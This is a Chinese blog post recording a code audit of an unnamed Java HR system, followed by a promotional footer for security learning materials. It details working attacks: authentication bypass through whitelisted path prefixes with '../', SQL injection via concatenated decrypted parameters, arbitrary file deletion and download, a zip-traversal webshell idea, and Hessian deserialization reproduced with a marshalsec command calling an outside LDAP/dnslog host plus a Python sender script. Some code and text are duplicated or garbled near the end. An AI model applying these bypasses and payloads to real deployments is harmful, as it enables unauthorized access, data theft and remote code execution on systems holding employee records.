某人力系统的代码审计

前言

最近看该系统漏洞公开较多,想审计练练手

权限绕过

该系统是由java开发的,查看web.xml看的其定义的过滤器

image-20240531095958868

其过滤器是对全部的api进行拦截,跟进其实现

image-20240531100129044

可以看的var6变量是通过getRequestURI()获取到的路由信息,该方法有理由分号或者…/进行绕过的分享。

搜索过滤器放行操作的doFilter方法,最终确定了两个地方有被利用的风险。

if (!this.needCharSecurityFilter(var6)) {
     var3.doFilter(var1, var2);
}
else if(var6.startsWith("/w_selfservice/oauthservlet")) {
      var3.doFilter(var1, var2);
      return;
}

第二处比较明显url以/w_selfservice/oauthservlet开头就放行,所以可以通过/w_selfservice/oauthservlet/…/…/xxx来绕过访问授权接口。

我们来看看第一个,当this.needCharSecurityFilter()返回为false才能进入if逻辑放行,跟进到该方法

private boolean needCharSecurityFilter(String var1) {
        boolean var2 = true;
        if (var1.startsWith("/templates/attestation/")) {
            return false;
        } else if (var1.startsWith("/services/")) {
            return false;
        } else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) {
            String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase();
            if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) {
                if (this.isLogin(var1)) {
                    return false;
                } else {
                    return var1.startsWith("/iSignatureHTML/") ? false : var2;
                }
            } else {
                return false;
            }
        } else {
            return false;
        }
    }private boolean needCharSecurityFilter(String var1) {
        boolean var2 = true;
        if (var1.startsWith("/templates/attestation/")) {
            return false;
        } else if (var1.startsWith("/services/")) {
            return false;
        } else if (!var1.startsWith("/ext/resources/") && !var1.startsWith("/images/") && !var1.startsWith("/js/")) {
            String var3 = var1.substring(var1.lastIndexOf(".") + 1).toLowerCase();
            if (!var3.equals("gif") && !var3.equals("bmp") && !var3.equals("jpg") && !var3.equals("js") && !var3.equals("htc") && !var3.equals("ico") && !var3.equals("css") && !var3.equals("cab")) {
                if (this.isLogin(var1)) {
                    return false;
                } else {
                    return var1.startsWith("/iSignatureHTML/") ? false : var2;
                }
            } else {
                return false;
            }
        } else {
            return false;
        }
    }

比较简单的就是前两个判断,以/templates/attestation/或者/services/开头都会放行,同理可通过…/访问授权接口

SQL注入

该系统定义了数据库连接类AdminDb用于与数据库建立连接,定义了getConnection方法来返回操作数据库的Connection对象,通过查看Dao层,每次进行SQL语句执行时都会调用该方法,全局搜索该方法的调用

image-20240531104203067

可以看的有874处调用。这么多调用要怎么筛查呢?

我们可以先搜索有没有直接对整条sql语句进行查询的类。

在利用java的sql库进行sql语句执行时,常常会调用createStatement来获取Statement对象,再调用其定义的相关方法进行SQL语句执行。比如executeQueryexecuteQuery或者execute等。

于是我们可以搜索其调用

image-20240531110656207

找到两处servlet层的调用,随意跟进查看

image-20240531110751133

该servlet主要是获取参数idtype的值,随后对id的进行解密,根据type进行不同的表单查询,查看PubFunc.decrypt(SafeCode.decode(var3));并未发现有对解密参数进行过滤的操作,导致后续解密后直接拼接到语句中。

至于解密算法的研究,外部已有加密算法实现项目

复现

通过工具对payload进行加密

image-20240531111535402

根据web.xml中的配置获取该类的路由并进行发包

image-20240531111929086

成功触发延时5s。

其他地方应该是由Dao层进行了接口封装,我们回到之前那八百多处AdminDb的构造方法在servlet层调用,发现有好多地方

image-20240531112724359

随便找一个看看是怎么个事

image-20240531113507545

可以看的传入参数a0100和i9999被直接拼接到了语句中,通过调用ContentDAO的search封装方法进行查询。

思路:对于这种自封装数据库连接类的一般系统,可通过上述方法快速找到sql语句执行的地方以便发现SQL注入漏洞。

任意文件删除,下载和残缺的上传

在翻看web.xml时看的一有关上传的servlet,跟进到其doPost方法

image-20240531141815942

要进入最下面的if语句(也就是处理上传逻辑),需要var3或者var4变量为true,而var3是根据session获取的,未授权情况下为null,所以只能看看var4。

var4需要由参数safariORFoxType决定,根据判断逻辑需要datems参数得到一个时间戳,他的值必须与当前时间戳在两分钟以内,同时safariORFoxType的值解密为"true",根据加密算法得到"true"为VHPAATTP2HJFPAATTPvSVQquaEPAATTP3HJDPAATTP。

再往下根据deleteflag的值又分为两种不同的处理分支,当deleteflag=true

image-20240531142538825

会进行文件删除,因为未存在对…/的过滤导致可以造成任意文件删除。

当其未false会进入下面判断逻辑

image-20240531143822792

当down参数为true时会进行文件下载

image-20240531144000715

注意的是要对filename和path要进行加密。

再往下就是上传的处理,主要关注点在下面这块var15是上传文件名切割后的值

image-20240531144854762

这里是对后缀做了双重检查

public static boolean isFileTypeEqual(InputStream var0, String var1) throws IOException {
        String var2 = getFileTypeByHead(var0);
        if (StringUtils.isEmpty(var2) && StringUtils.isNotEmpty(var1) && "bmp,jpg,jpeg".indexOf(var1.toLowerCase()) > -1) {
            return false;
        } else if (!StringUtils.isEmpty(var2) && !"asf".equalsIgnoreCase(var2.toLowerCase())) {
            if (StringUtils.isEmpty(var1)) {
                return false;
            } else {
                var1 = var1.toLowerCase();
                if (!var2.equals("office03") || !var1.equalsIgnoreCase("doc") && !var1.equalsIgnoreCase("xls") && !var1.equalsIgnoreCase("ppt") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett")) {
                    if (!var2.equals("office07") && !var2.equalsIgnoreCase("zip") || !var1.equalsIgnoreCase("docx") && !var1.equalsIgnoreCase("xlsx") && !var1.equalsIgnoreCase("pptx") && !var1.equalsIgnoreCase("wps") && !var1.equalsIgnoreCase("wpt") && !var1.equalsIgnoreCase("dps") && !var1.equalsIgnoreCase("dpt") && !var1.equalsIgnoreCase("et") && !var1.equalsIgnoreCase("ett") && !var1.equalsIgnoreCase("doc")) {
                        if ("jpg,png,bmp,jpeg".indexOf(var2.toLowerCase()) > -1 && "jpg,png,bmp,jpeg".indexOf(var1.toLowerCase()) > -1) {
                            return true;
                        } else if ("rm".equalsIgnoreCase(var2) && var1.toLowerCase().startsWith("rm")) {
                            return true;
                        } else {
                            return !var2.equals("xml") || !var1.equalsIgnoreCase("txt") && !var1.equalsIgnoreCase("rpx") ? var2.equalsIgnoreCase(var1) : true;
                        }
                    } else {
                        return true;
                    }
                } else {
                    return true;
                }
            }
        } else {
            return true;
        }
    }

image-20240531145624583

不在上述名单里的后缀会进入if逻辑返回:文件上传失败!您上传的文件为非法文件!

思路:像这种对白名单进行过滤,可以上传压缩包,通过寻找解压的地方要是对路径和后缀为过滤可以构造目录穿越的jsp文件进行解压释放webshell,达到任意上传的效果。

反序列化

在查看lib中依赖是看的低版本的hessian.jar

image-20240531152746432

寻找可能的触发点,一般都是继承自com.caucho.hessian.server.HessianServlet,在service方法中调用invoke方法造成反序列化,具体的分析可以查看su18师傅的博客

该系统是直接在web.xml里注册了com.caucho.hessian.server.HessianServlet路由

image-20240531154351541

image-20240531154542882

复现

首先生成反序列化数据

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://bbshuwzyse.dgrh3.cn/  > hessian

编写python脚本发包

import requests
import argparse

def send(url,payload):
    proxies = {'http':'127.0.0.1:8080'}
    headers={'Content-Type':'x-application/hessian'}
    data=payload
    res=requests.post(url,headers=headers,data=data,proxies=proxies)
    return res.text

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", help="hessian site url eg.http://127.0.0.1:8080/HessianTest/hessian")
    parser.add_argument("-p",help="payload file")
    args = parser.parse_args()
    if args.u==None or args.p==None:
        print('eg. python hessian.py -u http://127.0.0.1:8080/HessianTest/hessian -p hessian')
    else:
        send(args.u, load(args.p))
if __name__ == '__main__':
    main()
    #load('hessian')

执行命令

python hessian.py -u http://127.0.0.1:8080/hessianservlet -p hessian

image-20240531162213083

dnslog成功响应

    send(args.u, load(args.p))

if name == ‘main’:
main()
#load(‘hessian’)


执行命令

```php
python hessian.py -u http://127.0.0.1:8080/hessianservlet -p hessian

在这里插入图片描述

dnslog成功响应

image-20240531162118763

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

  • 12
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全技术库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值